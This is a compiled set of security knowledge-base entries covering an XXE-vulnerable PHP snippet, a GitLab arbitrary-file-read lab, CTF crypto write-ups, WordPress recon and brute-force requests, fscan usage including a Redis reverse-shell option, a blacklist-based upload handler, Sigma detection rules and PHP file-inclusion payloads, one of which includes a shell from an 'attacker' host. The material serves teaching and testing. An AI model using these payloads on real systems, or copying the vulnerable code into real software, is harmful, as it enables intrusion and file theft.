sec-knowleage
<?php $data = file_get_contents('php://input'); $xml = new SimpleXMLElement($data); echo $xml->name;
sec-knowleage
# GitLab 任意文件读取漏洞(CVE-2016-9086) GitLab是一款Ruby开发的Git项目管理平台。在8.9版本后添加的“导出、导入项目”功能,因为没有处理好压缩包中的软连接,已登录用户可以利用这个功能读取服务器上的任意文件。 参考链接: - https://about.gitlab.com/releases/2016/11/02/cve-2016-9086-patches/ - https://hackerone.com/reports/178152 - http://paper.seebug.org/104/ ## 测试环境 执行如下命令启动一个GitLab Community Server 8.13.1: ``` docker compose up -d ``` 环境运行后,访问`http://your-ip:8080`即可查看GitLab主页,其ssh端口为10022,默认管理员账号、密码是`root`、`vulhub123456`。 > 注意,请使用2G及以上内存的VPS或虚拟机运行该环境,实测1G内存的机器无法正常运行GitLab(运行后502错误)。 ## 漏洞复现 注册并登录用户,新建一个项目,点击`GitLab export`: ![](2.png) 在导入页面,将[test.tar.gz](test.tar.gz)上传,将会读取到`/etc/passwd`文件内容: ![](1.png)
sec-knowleage
# Crazy repetition of codes (crypto, 326p, 45 solved) In the challenge we get a [source code](crc.py) which would print the flag once it finishes. However, if we inspect the code, we can see there are multiple loops of `range(int("1" * 10000))` and that's a bit too much for our computers. The code is pretty simple -> each loop calculates CRC-32 many times using previous result as input for the next iteration, and finally combines the key for decrypting the flag from parts acquired in each loop: ```python for i in range(int("1" * 10000)): crc = crc32(crc, "SOME_STRING") key += crc.to_bytes(4, byteorder='big') ``` The key observation in this challenge is that CRC32, as name suggests, has 32 bits. Directly from pigeonhole principle we know that it has to have a cycle after at most 2**32 steps, simply because there are no other values we could get, some value has to repeat itself. This means that we don't really need to calculate so many iterations of the loop, we can skip all but the last incomplete cycle! So the idea is pretty simple: - Calculate the loop until we get the repetition of the initial value `0` to find the cycle - Next calculate `int("1" * 10000) % cycle_size` to calculate how many iterations we really need - Decrypt the flag For some performance improvements we can also use the fact that: - Each key chunk is independent, so we can easily calculate them in paralell - `zlib.crc32` in python is much faster than the provided one, and the only tweak is that we need to add `%2**32` because the zlib version uses signed integers With those points in mind we simply run: ```python import zlib from multiprocessing import freeze_support from crypto_commons.brute.brute import brute from crypto_commons.generic import long_range, long_to_bytes def break_for_const(val): crc = 0 final_i = 0 for i in long_range(0, int("1" * 10000)): if i % 2 ** 24 == 0: print(i / 2 ** 24) crc = zlib.crc32(val, crc) if crc == 0: final_i = (i % 2 ** 32) + 1 break missing = int("1" * 10000) % final_i crc = 0 for i in long_range(0, missing): crc = zlib.crc32(val, crc) return crc % 2 ** 32 def decrypt(key): from Crypto.Cipher import AES flag = "79833173d435b6c5d8aa08f790d6b0dc8c4ef525823d4ebdb0b4a8f2090ac81e".decode("hex") aes = AES.new(key, AES.MODE_ECB) print(aes.decrypt(flag)) def main(): results = brute(break_for_const, ["TSG", "is", "here", "at", "SECCON", "CTF!"], processes=6) # results = [2962998607L, 3836056187L, 2369777541L, 3007692607L, 1526093488L, 3679021396L] print(results) key = "".join(map(long_to_bytes, results)) decrypt(key) main() if __name__ == '__main__': freeze_support() main() ``` And recover the flag: `SECCON{Ur_Th3_L0rd_0f_the_R1NGs}`
sec-knowleage
# Thread Local Storage(TLS) 线程本地存储(TLS)用于在线程启动前对特定线程数据进行初始化, 因为每个进程都包含至少1个线程, 在主线程运行前初始化数据. 初始化操作可以通过指定一个已经复制到动态分配内存中去的静态缓冲区, 和/或通过在回调函数数组中执行代码, 来初始化动态内存内容. 经常是由于滥用回调函数数组而造成问题. 在运行时, TLS回调函数数组内容可以被修改或增加, 新加入或新修改的回调函数会使用新地址进行调用. 回调函数的数目也没有限制. 数组的扩展操作可以用以下代码完成: ``` asm l1: mov d [offset cbEnd], offset l2 ret l2: ... ``` 当l1处的回调返回时就会继续调用l2的回调函数 > todo: continue to finish it
sec-knowleage
# WordPress Common Bugs ## Introduction What would you do if you came across a website that uses WordPress? ## How to Detect If you visit `https://target.com` and see the source code, you will see the links to themes and plugins from WordPress. Or you can visit `https://target.com/wp-login.php`, it is the WordPress login admin page 1. Find the related CVE by checking the core, plugins, and theme version * How to find the wordpress version ``` https://target.com/feed https://target.com/?feed=rss2 ``` * How to find the plugin version ``` https://target.com/wp-content/plugins/PLUGINNAME/readme.txt https://target.com/wp-content/plugins/PLUGINNAME/readme.TXT https://target.com/wp-content/plugins/PLUGINNAME/README.txt https://target.com/wp-content/plugins/PLUGINNAME/README.TXT ``` > or change readme.txt to changelog.txt or readme.md * How to find the theme version ``` https://target.com/wp-content/themes/THEMENAME/style.css https://target.com/wp-content/themes/THEMENAME/readme.txt (If they have readme file) ``` If you found outdated core / plugins / themes, find the exploit at https://wpscan.com 2. Finding log files ``` http://target.com/wp-content/debug.log ``` 3. Finding backup file wp-config ``` http://target.com/.wp-config.php.swp http://target.com/wp-config.inc http://target.com/wp-config.old http://target.com/wp-config.txt http://target.com/wp-config.html http://target.com/wp-config.php.bak http://target.com/wp-config.php.dist http://target.com/wp-config.php.inc http://target.com/wp-config.php.old http://target.com/wp-config.php.save http://target.com/wp-config.php.swp http://target.com/wp-config.php.txt http://target.com/wp-config.php.zip http://target.com/wp-config.php.html http://target.com/wp-config.php~ ``` 4. Get the username on the website ``` http://target.com/?author=1 ``` or ``` http://target.com/wp-json/wp/v2/users http://target.com/?rest_route=/wp/v2/users ``` 5. Bruteforce ``` POST /wp-login.php HTTP/1.1 Host: target.com log=admin&pwd=BRUTEFORCE_IN_HERE&wp-submit=Log+In&redirect_to=http%3A%2F%2Ftarget.com%2Fwp-admin%2F&testcookie=1 ``` or ``` POST /xmlrpc.php HTTP/1.1 Host: target.com <?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>wp.getUsersBlogs</methodName> <params> <param><value>admin</value></param> <param><value>BRUTEFORCE_IN_HERE</value></param> </params> </methodCall> ``` 6. XSPA in wordpress ``` POST /xmlrpc.php HTTP/1.1 Host: target.com <methodCall> <methodName>pingback.ping</methodName> <params><param> <value><string>http://yourip:port</string></value> </param><param> <value> <string>https://target.com></string> </value> </param></params> </methodCall> ``` 7. Register enabled ``` http://example.com/wp-login.php?action=register ```
sec-knowleage
# 多表代换加密 对于多表替换加密来说,加密后的字母几乎不再保持原来的频率,所以我们一般只能通过寻找算法实现对应的弱点进行破解。 ## Playfair ### 原理 Playfair 密码(Playfair cipher or Playfair square)是一种替换密码,1854 年由英国人查尔斯·惠斯通(Charles Wheatstone)发明,基本算法如下: 1. 选取一串英文字母,除去重复出现的字母,将剩下的字母逐个逐个加入 5 × 5 的矩阵内,剩下的空间由未加入的英文字母依 a-z 的顺序加入。注意,将 q 去除,或将 i 和 j 视作同一字。 2. 将要加密的明文分成两个一组。若组内的字母相同,将 X(或 Q)加到该组的第一个字母后,重新分组。若剩下一个字,也加入 X 。 3. 在每组中,找出两个字母在矩阵中的地方。 - 若两个字母不同行也不同列,在矩阵中找出另外两个字母(第一个字母对应行优先),使这四个字母成为一个长方形的四个角。 - 若两个字母同行,取这两个字母右方的字母(若字母在最右方则取最左方的字母)。 - 若两个字母同列,取这两个字母下方的字母(若字母在最下方则取最上方的字母)。 新找到的两个字母就是原本的两个字母加密的结果。 以 playfair example 为密匙,得 ``` P L A Y F I R E X M B C D G H K N O Q S T U V W Z ``` 要加密的讯息为 Hide the gold in the tree stump ``` HI DE TH EG OL DI NT HE TR EX ES TU MP ``` 就会得到 ``` BM OD ZB XD NA BE KU DM UI XM MO UV IF ``` ### 工具 - CAP4 ## Polybius ### 原理 Polybius密码又称为棋盘密码,其一般是将给定的明文加密为两两组合的数字,其常用密码表 | | 1 | 2 | 3 | 4 | 5 | | :--- | --- | --- | --- | --- | :--- | | 1 | A | B | C | D | E | | 2 | F | G | H | I/J | K | | 3 | L | M | N | O | P | | 4 | Q | R | S | T | U | | 5 | V | W | X | Y | Z | 举个例子,明文 HELLO,加密后就是 23 15 31 31 34。 另一种密码表 | | A | D | F | G | X | | --- | --- | --- | --- | --- | --- | | A | b | t | a | l | p | | D | d | h | o | z | k | | F | q | f | v | s | n | | G | g | j | c | u | x | | X | m | r | e | w | y | 注意,这里字母的顺序被打乱了。 A D F G X 的由来: > 1918 年,第一次世界大战将要结束时,法军截获了一份德军电报,电文中的所有单词都由 A、D、F、G、X 五个字母拼成,因此被称为 ADFGX 密码。ADFGX 密码是 1918 年 3 月由德军上校 Fritz Nebel 发明的,是结合了 Polybius 密码和置换密码的双重加密方案。 举个例子,HELLO,使用这个表格加密,就是 DD XF AG AG DF。 ### 工具 - CrypTool ### 例子 这里以安恒杯 9 月 Crypto 赛题 Go 为例,题目为: > 密文:ilnllliiikkninlekile > 压缩包给了一行十六进制:546865206c656e677468206f66207468697320706c61696e746578743a203130 > 请对密文解密 首先对十六进制进行 hex 解码,得到字符串:"The length of this plaintext: 10" 密文长度为 20 ,而明文长度为 10 ,密文只有 " l "," i "," n "," k "," e " 这五个字符,联想到棋盘密码。 首先试一下五个字符按字母表顺序排列: | | e | i | k | l | n | | :--- | --- | --- | --- | --- | :--- | | e | A | B | C | D | E | | i | F | G | H | I/J | K | | k | L | M | N | O | P | | l | Q | R | S | T | U | | n | V | W | X | Y | Z | 根据密文解密得:iytghpkqmq。 这应该不是我们想要的 flag 答案。 看来这五个字符排列不是这么排列的,一共有 5! 种情况,写脚本爆破: ```python import itertools key = [] cipher = "ilnllliiikkninlekile" for i in itertools.permutations('ilnke', 5): key.append(''.join(i)) for now_key in key: solve_c = "" res = "" for now_c in cipher: solve_c += str(now_key.index(now_c)) for i in range(0,len(solve_c),2): now_ascii = int(solve_c[i])*5+int(solve_c[i+1])+97 if now_ascii>ord('i'): now_ascii+=1 res += chr(now_ascii) if "flag" in res: print now_key,res ``` 脚本其实就是实现棋盘密码这个算法,只是这五个字符的顺序不定。 跑出下面两个结果: > linke flagishere > linek flagkxhdwd 显然第一个是我们想要的答案。 附上正确的密码表: | | l | i | n | k | e | | :--- | --- | --- | --- | --- | :--- | | l | A | B | C | D | E | | i | F | G | H | I/J | K | | n | L | M | N | O | P | | k | Q | R | S | T | U | | e | V | W | X | Y | Z | ## Vigenere 维吉尼亚密码 ### 原理 维吉尼亚密码(Vigenere)是使用一系列凯撒密码组成密码字母表的加密算法,属于多表密码的一种简单形式。 下面给出一个例子 ``` 明文:come greatwall 密钥:crypto ``` 首先,对密钥进行填充使其长度与明文长度一样。 | 明文 | c | o | m | e | g | r | e | a | t | w | a | l | l | | ---- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | | 密钥 | c | r | y | p | t | o | c | r | y | p | t | o | c | 其次,查表得密文 ``` 明文:come greatwall 密钥:crypto 密文:efkt zferrltzn ``` ### 破解 对包括维吉尼亚密码在内的所有多表密码的破译都是以字母频率为基础的,但直接的频率分析却并不适用,这是因为在维吉尼亚密码中,一个字母可以被加密成不同的密文,因而简单的频率分析在这里并没有用。 **破译维吉尼亚密码的关键在于它的密钥是循环重复的。** 如果我们知道了密钥的长度,那密文就可以被看作是交织在一起的凯撒密码,而其中每一个都可以单独破解。关于密码的长度,我们可以 使用卡西斯基试验和弗里德曼试验来获取。 卡西斯基试验是基于类似 the 这样的常用单词有可能被同样的密钥字母进行加密,从而在密文中重复出现。例如,明文中不同的 CRYPTO 可能被密钥 ABCDEF 加密成不同的密文: ``` 密钥:ABCDEF AB CDEFA BCD EFABCDEFABCD 明文:CRYPTO IS SHORT FOR CRYPTOGRAPHY 密文:CSASXT IT UKSWT GQU GWYQVRKWAQJB ``` 此时明文中重复的元素在密文中并不重复。然而,如果密钥相同的话,结果可能便为(使用密钥 ABCD): ``` 密钥:ABCDAB CD ABCDA BCD ABCDABCDABCD 明文:CRYPTO IS SHORT FOR CRYPTOGRAPHY 密文:CSASTP KV SIQUT GQU CSASTPIUAQJB ``` 此时卡西斯基试验就能产生效果。对于更长的段落此方法更为有效,因为通常密文中重复的片段会更多。如通过下面的密文就能破译出密钥的长度: ``` 密文:DYDUXRMHTVDVNQDQNWDYDUXRMHARTJGWNQD ``` 其中,两个 DYDUXRMH 的出现相隔了 18 个字母。因此,可以假定密钥的长度是 18 的约数,即长度为 18、9、6、3 或 2。而两个 NQD 则相距 20 个字母,意味着密钥长度应为 20、10、5、4 或 2。取两者的交集,则可以基本确定密钥长度为 2。接下来就是进行进一步的操作了。 关于更加详细的破解原理,这里暂时不做过多的介绍。可以参考http://www.practicalcryptography.com/cryptanalysis/stochastic-searching/cryptanalysis-vigenere-cipher/。 ### 工具 - 已知密钥 - Python 的 pycipher 库 - [在线解密 Vigenère cipher](http://planetcalc.com/2468/) - CAP4 - 未知密钥 - [Vigenère Cipher Codebreaker](http://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx) - [Vigenere Solver](https://www.guballa.de/vigenere-solver) ,不够完善。 ## Nihilist ### 原理 Nihilist密码又称关键字密码:明文 + 关键字 = 密文。以关键字 helloworld 为例。 首先利用密钥构造棋盘矩阵(类似 Polybius 密码) - 新建一个 5 × 5 矩阵 - 将字符不重复地依次填入矩阵 - 剩下部分按字母顺序填入 - 字母 i 和 j 等价 | | 1 | 2 | 3 | 4 | 5 | | --- | --- | --- | ----- | --- | --- | | 1 | h | e | l | o | w | | 2 | r | d | a | b | c | | 3 | f | g | i / j | k | m | | 4 | n | p | q | s | t | | 5 | u | v | x | y | z | 对于加密过程参照矩阵 M 进行加密: ``` a -> M[2,3] -> 23 t -> M[4,5] -> 45 ``` 对于解密过程 参照矩阵 M 进行解密: ``` 23 -> M[2,3] -> a 45 -> M[4,5] -> t ``` 可以看出,密文的特征有如下几点 - 纯数字 - 只包含 1 到 5 - 密文长度偶数。 ## Hill ### 原理 希尔密码(Hill)使用每个字母在字母表中的顺序作为其对应的数字,即A=0,B=1,C=2 等,然后将明文转化为 n 维向量,跟一个 n × n 的矩阵相乘,再将得出的结果模 26。注意用作加密的矩阵(即密匙)在 $\mathbb{Z}_{26}^{n}$ 必须是可逆的,否则就不可能解码。只有矩阵的行列式和 26 互质,才是可逆的。下面举一个例子 ``` 明文:ACT ``` 将明文化为矩阵。 $$ \begin{bmatrix} 0\\ 2\\ 19 \end{bmatrix} $$ 假设密钥为: $$ \begin{bmatrix} 6 & 24 & 1\\ 13 & 16 & 10\\ 20 & 17 & 15 \end{bmatrix} $$ 加密过程为: $$ \begin{bmatrix} 6 & 24 & 1\\ 13 & 16 & 10\\ 20 & 17 & 15 \end{bmatrix} \begin{bmatrix} 0\\ 2\\ 19 \end{bmatrix} \equiv \begin{bmatrix} 67\\ 222\\ 319 \end{bmatrix} \equiv \begin{bmatrix} 15\\ 14\\ 7 \end{bmatrix} \bmod 26 $$ 密文即为 ``` 密文:POH ``` ### 工具 - http://www.practicalcryptography.com/ciphers/hill-cipher/ - CAP4 - Cryptool ### 例子 这里我们以ISCC 2015 base decrypt 150为例进行介绍,题目为 > 密文: 22,09,00,12,03,01,10,03,04,08,01,17 (wjamdbkdeibr) > > 使用的矩阵是 1 2 3 4 5 6 7 8 10 > > 请对密文解密. 首先,矩阵是 3 × 3 的。说明每次加密3个字符。我们直接使用 Cryptool,需要注意的是,这个矩阵是按照列来排布的。即如下 ``` 1 4 7 2 5 8 3 6 10 ``` 最后的结果为 `overthehillx`。 ## AutokeyCipher ### 原理 自动密钥密码(Autokey Cipher)也是多表替换密码,与维吉尼亚密码密码类似,但使用不同的方法生成密钥。通常来说它要比维吉尼亚密码更安全。自动密钥密码主要有两种,关键词自动密钥密码和原文自动密钥密码。下面我们以关键词自动密钥为例: ``` 明文:THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG 关键词:CULTURE ``` 自动生成密钥: ``` CULTURE THE QUICK BROWN FOX JUMPS OVER THE ``` 接下来的加密过程和维吉尼亚密码类似,从相应的表格可得: 密文 ``` VBP JOZGD IVEQV HYY AIICX CSNL FWW ZVDP WVK ``` ### 工具 - 已知关键词 - Python 的 pycipher 库 - 未知关键词 - http://www.practicalcryptography.com/cryptanalysis/stochastic-searching/cryptanalysis-autokey-cipher/ - **tools 文件夹下 break_autokey.py,待完成。**
sec-knowleage
# fscan --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **简介** 一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。 **项目地址** - https://github.com/shadow1ng/fscan --- ## 安装 **二进制文件下载** ```bash wget https://github.com/shadow1ng/fscan/releases/download/1.8.1/fscan_amd64 mv fscan_amd64 fscan && mv --force fscan /usr/local/bin/fscan && chmod +x /usr/local/bin/fscan fscan ``` **go 编译安装** ```bash git clone --depth 1 https://github.com/shadow1ng/fscan.git cd fscan && export GO111MODULE=on && export GOPROXY=https://goproxy.io && export GOPATH=$HOME/go && go build -ldflags="-s -w " -trimpath mv fscan_amd64 fscan && mv --force fscan /usr/local/bin/fscan && chmod +x /usr/local/bin/fscan fscan ``` --- ## 使用 **简单用法** ``` fscan.exe -h 192.168.1.1/24 (默认使用全部模块) fscan.exe -h 192.168.1.1/16 (B段扫描) ``` **其他用法** ``` fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描) fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥) fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell) fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行) fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口) fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破) fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径) fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 ) fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞) fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块) fscan.exe -hf ip.txt (以文件导入) fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080) fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量) fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描) fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具) fscan.exe -h 10.0.0.0/8 -m icmp -o /tmp/1.txt ``` **完整参数** ``` -c string ssh命令执行 -cookie string 设置cookie -debug int 多久没响应,就打印当前进度(default 60) -domain string smb爆破模块时,设置域名 -h string 目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12 -hf string 读取文件中的目标 -hn string 扫描时,要跳过的ip: -hn 192.168.1.1/24 -m string 设置扫描模式: -m ssh (default "all") -no 扫描结果不保存到文件中 -nobr 跳过sql、ftp、ssh等的密码爆破 -nopoc 跳过web poc扫描 -np 跳过存活探测 -num int web poc 发包速率 (default 20) -o string 扫描结果保存到哪 (default "result.txt") -p string 设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017") -pa string 新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口) -path string fcgi、smb romote file path -ping 使用ping代替icmp进行存活探测 -pn string 扫描时要跳过的端口,as: -pn 445 -pocname string 指定web poc的模糊名字, -pocname weblogic -proxy string 设置代理, -proxy http://127.0.0.1:8080 -user string 指定爆破时的用户名 -userf string 指定爆破时的用户名文件 -pwd string 指定爆破时的密码 -pwdf string 指定爆破时的密码文件 -rf string 指定redis写公钥用模块的文件 (as: -rf id_rsa.pub) -rs string redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666) -silent 静默扫描,适合cs扫描时不回显 -sshkey string ssh连接时,指定ssh私钥 -t int 扫描线程 (default 600) -time int 端口扫描超时时间 (default 3) -u string 指定Url扫描 -uf string 指定Url文件扫描 -wt int web访问超时时间 (default 5) -pocpath string 指定poc路径 -usera string 在原有用户字典基础上,新增新用户 -pwda string 在原有密码字典基础上,增加新密码 -socks5 指定socks5代理 (as: -socks5 socks5://127.0.0.1:1080) -sc 指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add) ```
sec-knowleage
#!/usr/bin/env python import SocketServer,threading,os,socket from quantum import qubit, Alice, Bob def recvuntil(s, until, maxlen=2048): buf = '' while until not in buf and len(buf) < maxlen: tmp = s.recv(1) if len(tmp) == 0: raise socket.error buf += tmp return buf class threadedserver(SocketServer.ThreadingMixIn, SocketServer.TCPServer): pass def do_intercept(sock, q, dest): if q is not None and q.__class__ != qubit: sock.send("There is a classical message (%s) going to %s, do you want to intercept (y/N)? "%(q,dest)) sock.send(" (Note: if you intercept, the message will not be sent, and only a qubit will)\n") r = recvuntil(sock, "\n") if not r.lower().startswith("y"): return q else: sock.send("In what basis should the new qubit be prepared? (Z/Y)\n") r = recvuntil(sock, "\n") basis = "Z" if r.lower().startswith("z") else "Y" sock.send("OK, using the %s basis... what should the value be? (-1/1)\n"%basis) value = int(recvuntil(sock, "\n")) sock.send("OK, we prepared a new qubit in the %s basis with value %d"%(basis, value)) q = qubit(basis, value) return q if q is not None: sock.send("There is a qubit on the line going to %s, do you want to intercept (y/N)?\n"%dest) r = recvuntil(sock, "\n") if r.lower().startswith("y"): sock.send("OK, intercepting... in which basis shall we measure? (Z/Y)\n") r = recvuntil(sock, "\n") sock.send("OK, measured %d\nShall we pass this along (N) or replace it (Y)?\n"% \ q.measure("Z" if r.lower().startswith("z") else "Y")) r = recvuntil(sock, "\n") if r.lower().startswith("n"): sock.send("OK, forwarding the qubit along\n") else: sock.send("In what basis should the new qubit be prepared? (Z/Y)\n") r = recvuntil(sock, "\n") basis = "Z" if r.lower().startswith("z") else "Y" sock.send("OK, using the %s basis... what should the value be? (-1/1)\n"%basis) value = int(recvuntil(sock, "\n")) sock.send("OK, we prepared a new qubit in the %s basis with value %d"%(basis, value)) q = qubit(basis, value) else: sock.send("The connection has been aborted, do you want to send a qubit to %s anyway? (y/N)\n"%dest) r = recvuntil(sock, "\n") if r.lower().startswith("y"): sock.send("In what basis should the new qubit be prepared? (Z/Y)\n") r = recvuntil(sock, "\n") basis = "Z" if r.lower().startswith("z") else "Y" sock.send("OK, using the %s basis... what should the value be? (-1/1)\n"%basis) value = int(recvuntil(sock, "\n")) sock.send("OK, we prepared a new qubit in the %s basis with value %d"%(basis, value)) q = qubit(basis, value) else: sock.send("OK, forwarding along the abort\n") return q class incoming(SocketServer.BaseRequestHandler): def handle(self): self.request.settimeout(10*60) self.request.send("Welcome to the\n") self.request.send("Q U A N T U M K E Y I N T E R C E P T O R\n") self.request.send("We've managed to splice the fiber optic cable in between Alice and Bob\n") self.request.send("But how can we read their message?? They're using QKD to share keys!!\n") self.request.send("We've provided you all the tools we can.. good luck...\n") a = Alice() b = Bob() state = qubit("Z",1) while state: state = a.process(state) state = do_intercept(self.request, state, "Bob") state = b.process(state) state = do_intercept(self.request, state, "Alice") if __name__ == "__main__": SocketServer.TCPServer.allow_reuse_address = True server = threadedserver(("0.0.0.0", 20811), incoming) server.timeout = 4 server_thread = threading.Thread(target=server.serve_forever) server_thread.daemon = False server_thread.start()
sec-knowleage
<?php if (!empty($_FILES)): // Check for errors if($_FILES['file_upload']['error'] > 0){ die('An error ocurred when uploading.'); } // Check filesize if(!is_uploaded_file($_FILES['file_upload']['tmp_name'])) { die('File is not uploaded file'); } $ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION); if (empty($ext) || in_array($ext, ['php', 'php3', 'php5', 'phtml'])) { die('Unsupported filetype uploaded.'); } $new_name = __DIR__ . '/uploadfiles/' . $_FILES['file_upload']['name']; if(!move_uploaded_file($_FILES['file_upload']['tmp_name'], $new_name)){ die('Error uploading file - check destination is writeable.'); } die('File uploaded successfully: ' . $new_name); else: ?> <form method="post" enctype="multipart/form-data"> File: <input type="file" name="file_upload"> <input type="submit"> </form> <?php endif;
sec-knowleage
# T1033-系统所有者/用户发现 ## 来自ATT&CK的描述 ### windows 攻击者可能试图识别主要用户、当前登录用户、通常使用系统的用户集,或者用户是否正在积极使用系统。他们可以这样做,例如,通过检索帐户用户名或使用凭据转储。可以使用其他发现技术以多种不同的方式收集信息,因为用户和用户名详细信息在整个系统中都很常见,包括运行进程所有权、文件目录所有权、会话信息和系统日志。攻击者在自动发现期间使用来自系统所有者/用户发现的信息,来伪造后续行为,包括攻击者是否完全感染目标或尝试特定操作。 ### MACos 在Mac上,当前登录的用户可以使用users,w和who来进行识别。 ### linux 在Linux上,可以使用w和标识当前登录的用户who。 ## 测试案例 ``` yml windows相关命令 - 查询本地用户权限:whoami - 查询域用户:dsquery user、net user /domain - 查询域组权限:net group /domain - 查询域管理员:net group "Domain Admins" /domain - 查看当前计算机名,全名,用户名,系统版本,工作站域,登陆域:net config Workstation - 查看域控制器:net group "Domain controllers" (多域控制器的时候,而且只能用在域控制器上) - 查询所有计算机名称:net group "Domain Computers" /domain(域控不会被列出) linux who命令 ``` ## 检测日志 windows 安全日志 linux history ## 测试复现 ### windows测试 ```dos Microsoft Windows [版本 10.0.14393] (c) 2016 Microsoft Corporation。保留所有权利。 C:\Windows\system32>whoami icbc\administrator ``` ### linux测试 ```bash icbc@icbc:~$ who icbc :0 2019-11-10 18:58 (:0) icbc@icbc:~$ w 19:03:14 up 5 min, 1 user, load average: 0.08, 0.51, 0.31 USER TTY 来自 LOGIN@ IDLE JCPU PCPU WHAT icbc :0 :0 18:58 ?xdm? 35.66s 0.02s /usr/lib/gdm3/g ``` ## 测试留痕 windows 安全日志 4688 linux history日志 ## 检测规则/思路 ### sigma规则 ```yml title: 系统所有者/用户发现 description: windows server 2016/Ubuntu19.04 references: - https://attack.mitre.org/techniques/T1033/ - https://github.com/redcanaryco/atomic-red-team/blob/910a2a764a66b0905065d8bdedb04b37049a85db/atomics/T1033/T1033.md tags: T1033 status: experimental author: 12306Bro logsource: product: windows service: security detection: selection: EventID: 4688 #已创建新的进程。 CommandLine: - cmd.exe /C whoami - wmic useraccount get /ALL - wmic group * - quser /SERVER:"#{computer_name}" - quser - qwinsta.exe /server:#{computer_name} - qwinsta.exe - for /F "tokens=1,2" %i in ('qwinsta /server:#{computer_name} ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > usernames.txt - @FOR /F %n in (computers.txt) DO @FOR /F "tokens=1,2" %i in ('qwinsta /server:%n ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > usernames.txt condition: selection level: low ``` ```yml logsource: product: linux service: history detection: keywords: - w - who - users condition: keywords level: low ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1033 <https://attack.mitre.org/techniques/T1033/> 比CMD更强大的命令行:WMIC后渗透利用(系统命令) <https://blog.csdn.net/discover2210212455/article/details/82711930>
sec-knowleage
# PHP 代码审计 ## 文件包含 常见的导致文件包含的函数有: - PHP:`include()`,`include_once()`,`require()`,`require_once()`,`fopen()`,`readfile()` 等 - JSP Servlet:`ava.io.File()`,`java.io.FileReader()` 等 - ASP:`includefile`,`includevirtual` 等 当 PHP 包含一个文件时,会将该文件当做 PHP 代码执行,而不会在意文件时什么类型。 ### 本地文件包含 本地文件包含,Local File Inclusion,LFI。 ```php <?php $file = $_GET['file']; if (file_exists('/home/wwwrun/'.$file.'.php')) { include '/home/wwwrun/'.$file.'.php'; } ?> ``` 上述代码存在本地文件包含,可用 %00 截断的方式读取 `/etc/passwd` 文件内容。 - `%00` 截断 ``` ?file=../../../../../../../../../etc/passwd%00 ``` 需要 `magic_quotes_gpc=off`,PHP 小于 5.3.4 有效。 - 路径长度截断 ``` ?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././. ``` Linux 需要文件名长于 4096,Windows 需要长于 256。 - 点号截断 ``` ?file=../../../../../../../../../boot.ini/………[…]………… ``` 只适用 Windows,点号需要长于 256。 ### 远程文件包含 远程文件包含,Remote File Inclusion,RFI。 ```php <?php if ($route == "share") { require_once $basePath . "/action/m_share.php"; } elseif ($route == "sharelink") { require_once $basePath . "/action/m_sharelink.php"; } ``` 构造变量 `basePath` 的值。 ``` /?basePath=http://attacker/phpshell.txt? ``` 最终的代码执行了 ```php require_once "http://attacker/phpshell.txt?/action/m_share.php"; ``` 问号后的部分被解释为 URL 的 querystring,这也是一种「截断」。 - 普通远程文件包含 ``` ?file=[http|https|ftp]://example.com/shell.txt ``` 需要 `allow_url_fopen=On` 并且 `allow_url_include=On` 。 - 利用 PHP 流 input ``` ?file=php://input ``` 需要 `allow_url_include=On` 。 - 利用 PHP 流 filter ``` ?file=php://filter/convert.base64-encode/resource=index.php ``` 需要 `allow_url_include=On` 。 - 利用 data URIs ``` ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= ``` 需要 `allow_url_include=On` 。 - 利用 XSS 执行 ``` ?file=http://127.0.0.1/path/xss.php?xss=phpcode ``` 需要 `allow_url_fopen=On`,`allow_url_include=On` 并且防火墙或者白名单不允许访问外网时,先在同站点找一个 XSS 漏洞,包含这个页面,就可以注入恶意代码了。 ## 文件上传 文件上传漏洞是指用户上传了一个可执行脚本文件,并通过此文件获得了执行服器端命令的能力。在大多数情况下,文件上传漏洞一般是指上传 WEB 脚本能够被服务器解析的问题,也就是所谓的 webshell 问题。完成这一攻击需要这样几个条件,一是上传的文件能够被 WEB 容器执行,其次用户能从 WEB 上访问这个文件,最后,如果上传的文件被安全检查、格式化、图片压缩等功能改变了内容,则可能导致攻击失败。 ### 绕过上传检查 - 前端检查扩展名 抓包绕过即可。 - 